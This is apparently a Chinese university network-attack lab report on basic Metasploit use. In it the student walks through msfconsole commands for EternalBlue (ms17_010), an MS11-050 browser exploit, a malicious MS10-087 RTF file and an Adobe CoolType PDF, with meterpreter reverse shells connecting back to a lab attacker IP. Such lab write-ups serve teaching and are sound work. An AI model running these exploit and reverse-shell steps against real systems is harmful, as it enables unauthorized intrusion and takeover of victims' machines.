2018-2019 20165232 Exp5 MSF基础应用
2018-2019 20165232 Exp5 MSF基础应用
一.原理与实践说明
1.实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
一个主动攻击实践,如ms08-067; (1分)
一个针对浏览器的攻击,如ms11-050;(1分)
一个针对客户端的攻击,如Adobe;(1分)
成功应用任何一个辅助模块。(0.5分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
2.预备知识
一、MSF的六种模块
Exploit
模块
是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
形象点来说就是攻击模块
Payload
模块
是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
Encoder
模块
针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
不改变payload作用,但能对payload进行加工
Aux
模块
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
Post
模块
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
这里主要指的是攻击之后可能用到的模块
Nops
模块
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
2.基础问题
**问:用自己的话解释什么是
exploit
,
payload
,
encode
。
exploit
:测试者利用系统,程序,或服务的漏洞进行攻击的一个过程。
payload
:攻击者在目标系统上执行的一段攻击代码,该代码具有返弹连接,创建用户,执行其他系统命令的功能。
encode
:encode编码一是为了避免使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。
二.实践过程记录
1.Windows服务渗透攻击——ms17_010安全漏洞
①攻击机:kali
②靶机:windows XP
在攻击机kali输入
msfconsole
进入控制台,依次输入以下指令:
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_netapi) > show payloads
msf exploit(ms17_010_netapi) > set payload windows/x64/meterpreter/reverse_tcp //tcp反向回连
msf exploit(ms17_010_netapi) > set LHOST 192.168.11.128 //攻击机ip
msf exploit(ms17_010_netapi) > set LPORT 5232 //攻击端口
msf exploit(ms17_010_netapi) > set RHOST 192.168.11.133 //靶机ip,特定漏洞端口已经固定
msf exploit(ms17_010_netapi) > set target 0 //自动选择目标系统类型,匹配度较高
msf exploit(ms17_010_netapi) > exploit //攻击

建立会话,攻击成功结果如下:

2.浏览器渗透攻击——MS11-050
①攻击机:kali
②靶机:WindowsXP Windows7
在攻击机kali输入
msfconsole
进入控制台,依次输入以下指令:
msf > use windows/browser/ms11_050_mshtml_cobjectelement
msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连
msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.11.128 //攻击机ip
msf exploit(ms11_050_cobjectelement) > set LPORT 5232 //攻击端口固定
msf exploit(ms11_050_cobjectelement) > set URIPATH 2016hyd //统一资源标识符路径设置
msf exploit(ms11_050_cobjectelement) > exploit

在浏览器输入http://192.168.11.128:8080/2016hyd

换成W7仍然不行,于是我手动降低安全级别——在IE浏览器打开“工具->Internet选项”,选择“安全”选项卡,将设置里面最不安全的全部选上,自定义也设置为最低等级


仍然不行

3.针对Office软件的渗透攻击——MS10-087
①攻击机:kali
②靶机:windowsXP
③Office版本:2003
在攻击机kali输入
msfconsole
进入控制台,依次输入以下指令:
msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec //运行一个可执行文件
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set CMD calc.exe //绑定计算器程序,进行启动
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit //攻击

使用
show options
命令查看一些参数值,比如文件名、绑定程序等等。此时文件名为默认,也可以进行修改。

将生成的文件从/root/.msf4/local/msf.rft拷贝到靶机上,这里得在命令行移动文件,否则找不到。


使用Office2003打开。提示错误:

双击运行,由于绑定到计算器,因此打开了计算器程序,攻击成功:

4.针对Adobe Reader软件的渗透攻击——adobe_toolbutton
①攻击机:kali
②靶机:windowsXP
③Adobe版本:9.3
在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf > use windows/fileformat/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.11.128 //攻击机ip
msf exploit(adobe_cooltype_sing) > set LPORT 5232 //攻击端口
msf exploit(adobe_cooltype_sing) > set FILENAME 20155303-2.pdf //设置生成pdf文件的名字
msf exploit(adobe_cooltype_sing) > exploit //攻击

将生成的pdf文件拷贝到靶机上。

在kali上输入back退出当前模块,进入监听模块,输入以下命令:
msf > use exploit/multi/handler //进入监听模块
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接
msf exploit(handler) > set LHOST 192.168.11.128 //攻击机ip
msf exploit(handler) > set LPORT 5232 //攻击端口固定
msf exploit(handler) > exploit

在靶机上打开20155303-2.pdf文件:

攻击机显示攻击成功:

此时若关闭pdf文件,则失去权限,攻击失败:

三、问题与思考
问题1:在进行ms08_067_netapi攻击时出现以下情况

- 解决办法:攻击方式太老,换一个攻击方式。
2018-2019 20165232 Exp5 MSF基础应用的更多相关文章
- 2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用 一. 实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要 ...
- 2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用 原理与实践说明 实践原理 实践内容概述 基础问题回答 攻击实例 主动攻击的实践 ms08_067_netapi:自动化 ...
- 2018-2019-2 网络对抗技术 20165301 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165301 Exp5 MSF基础应用 实践原理 1.MSF攻击方法 主动攻击:扫描主机漏洞,进行攻击 攻击浏览器 攻击其他客户端 2.MSF的六个模块 查看 ...
- 2018-2019 20165237网络对抗 Exp5 MSF基础应用
2018-2019 20165237网络对抗 Exp5 MSF基础应用 实验目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如 ...
- 2018-2019 20165221 网络对抗 Exp5 MSF基础
2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...
- 2018-2019-2 20165206 网络攻防技术 Exp5 MSF基础应用
- 2018-2019-2 20165206<网络攻防技术>Exp5 MSF基础应用 - 实验任务 1.1一个主动攻击实践,如ms08_067; (1分) 1.2 一个针对浏览器的攻击,如 ...
- 2018-2019 20165235 网络对抗 Exp5 MSF基础
2018-2019 20165235 网络对抗 Exp5 MSF基础 1. 实践内容(3.5分) 1.1一个主动攻击实践 攻击方:kali 192.168.21.130 靶机: win7 192.16 ...
- 2018-2019-2 网络对抗技术 20162329 Exp5 MSF基础应用
目录 Exp5 MSF基础应用 一.基础问题回答 二.攻击系统 ms08_067攻击(成功) 三.攻击浏览器 ms11_050_mshtml_cobjectelement(Win7失败) 手机浏览器攻 ...
- 2018-2019-2 20165311《网络对抗技术》Exp5 MSF基础应用
<网络对抗技术>Exp5 MSF基础应用 实验目的 实验内容 一个主动攻击实践(ms08_067) 一个针对浏览器的攻击(ms11_050) 一个针对客户端的攻击(adobe_toolbu ...
随机推荐
- intellij idea 2017和Jprofiler 10的集成 报错问题
本来想用Jprofiler来分析一下自己写的Java项目,以提高代码执行效率和自己的编码能力.结果,官网和网上很多帖子都写了点出session->IDE integrations->选择i ...
- Python 经典面试题汇总之数据库篇
数据库和缓存 1.列举常见的关系型数据库和非关系型都有那些? 关系型数据库(需要有表结构) mysql.oracle.splserver.postgresql.db2.sybase 非关系型数据库(是 ...
- golang语言示例
package main import "fmt" /* my first programmer in go */ func fib(n int) int{ if n<2{ ...
- vue(7)—— 组件化开发 — webpack(1)
引子 在研究完前面的vue开发后,其实已经可以自己开发点东西了,靠前面的指令集,组件,还有vue-router,还有异步请求这些知识点,是完全可以开发出来的,完全可以达到时下前后端分离的效果. 但是, ...
- C# -- 使用线程池 ThreadPool 执行多线程任务
C# -- 使用线程池 ThreadPool 执行多线程任务 1. 使用线程池 class Program { static void Main(string[] args) { WaitCallba ...
- Linux下安装Nginx并配置一个图片服务器
首先安装nginx安装环境 nginx是C语言开发,建议在linux上运行,本教程使用Centos6.5作为安装环境. gcc 安装nginx需要先将官网下载的源码进行编译,编译依赖gcc环境,如果没 ...
- Django学习笔记(3)--模板
模板 在实际的页面大多是带样式的HTML代码,而模板是一种带有特殊语法的html文件,这个html文件可以被django编译,可以传递参数进去, 实现数据动态化.在编译完成后,生成一个普通的html文 ...
- 第一次java作业
学习了c语言半个学期,好像刚开始并不担心Java,因为Java也是类同于C语言的一种语言,可是Java学到现在也将近一个月,在我脑子里现在却还没有一个框架,有点着急了.
- destruct析构函数里操作文件出现的问题
这几天要给后台加一个记录操作日志的功能,可是项目已经开发完了不可能再去改以前的代码了,那有什么快捷的方法呢? 项目使用的ThinkPHP3.23 ,为了方便权限控制,后台控制器结构为:普通控制器 ex ...
- git常用命令二、:git stash
Git stash 储藏工作现场(当你不得不新建分支,或者切换分支,但是当前工作区的修改并不想提交) git stash Saved working directory and index state ...